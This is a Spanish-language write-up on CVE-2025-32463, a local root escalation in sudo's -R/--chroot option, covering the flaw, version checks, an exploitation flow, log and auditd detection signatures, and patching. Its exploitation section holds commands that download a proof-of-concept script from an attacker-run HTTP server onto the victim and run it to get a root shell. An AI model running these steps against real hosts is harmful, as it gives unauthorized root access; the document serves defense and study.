Local privilege escalation in sudo via chroot (CVE-2025-32463)

CVE-2025-32463 es una vulnerabilidad de escalada local a root en sudo (versiones 1.9.14 a 1.9.17), divulgada a mediados de 2025. El fallo está en la opción -R/--chroot: sudo procesa la resolución de nombres (NSS) dentro del directorio indicado por el usuario antes de bajar privilegios. Eso permite a un usuario sin privilegios hacer que sudo cargue una librería NSS (/etc/nsswitch.conf + una .so controlada) desde un chroot que él mismo prepara, ejecutando código como root.

Lo notable es que no requiere ninguna regla de sudo concedida: basta con tener el binario sudo vulnerable instalado (algo casi universal). Por eso, en cuanto sudo -V muestra una versión en el rango afectado, es candidata inmediata.

Detección. La versión se ve directamente:

sudo -V
# Sudo version 1.9.17   → en rango vulnerable (1.9.14–1.9.17)

Explotación. Hay PoCs públicas que automatizan el montaje del chroot falso, la nsswitch.conf y la librería maliciosa. El flujo típico es clonar el exploit, servirlo a la víctima y ejecutarlo:

# atacante
git clone https://github.com/<repo>/CVE-2025-32463 && cd CVE-2025-32463
python3 -m http.server 80
# víctima
wget http://<atacante>/cve-2025-32463.sh -O /tmp/x.sh
chmod +x /tmp/x.sh && /tmp/x.sh
id   # uid=0(root)

El script construye el entorno chroot, invoca sudo -R apuntando a él y obtiene una shell root.

Relación con otras vías. En máquinas que también exponen una escalada "intencionada" (una regla de sudo concreta, un SUID a medida), este CVE suele ser la vía no intencionada: funciona por el simple hecho de que la versión de sudo es vulnerable, independientemente de la configuración.

Cómo detectarlo. La firma es inconfundible en /var/log/auth.log y en auditd: una invocación de sudo con -R/--chroot por un usuario normal, opción que casi ningún flujo legítimo emplea. En el host, un usuario preparando un chroot propio con un nsswitch.conf y una librería .so a medida (Sysmon for Linux / auditd sobre creación de ficheros) justo antes de ese sudo -R, y sudo cargando una librería NSS desde una ruta escribible por el usuario, completan el cuadro. Un shell de root que aparece tras un sudo --chroot sin ninguna regla concedida es la prueba.

Defensa. Actualizar sudo a 1.9.17p1 o superior. Como mitigación temporal, evitar versiones en el rango afectado en sistemas multiusuario; el vector desaparece al parchear el binario.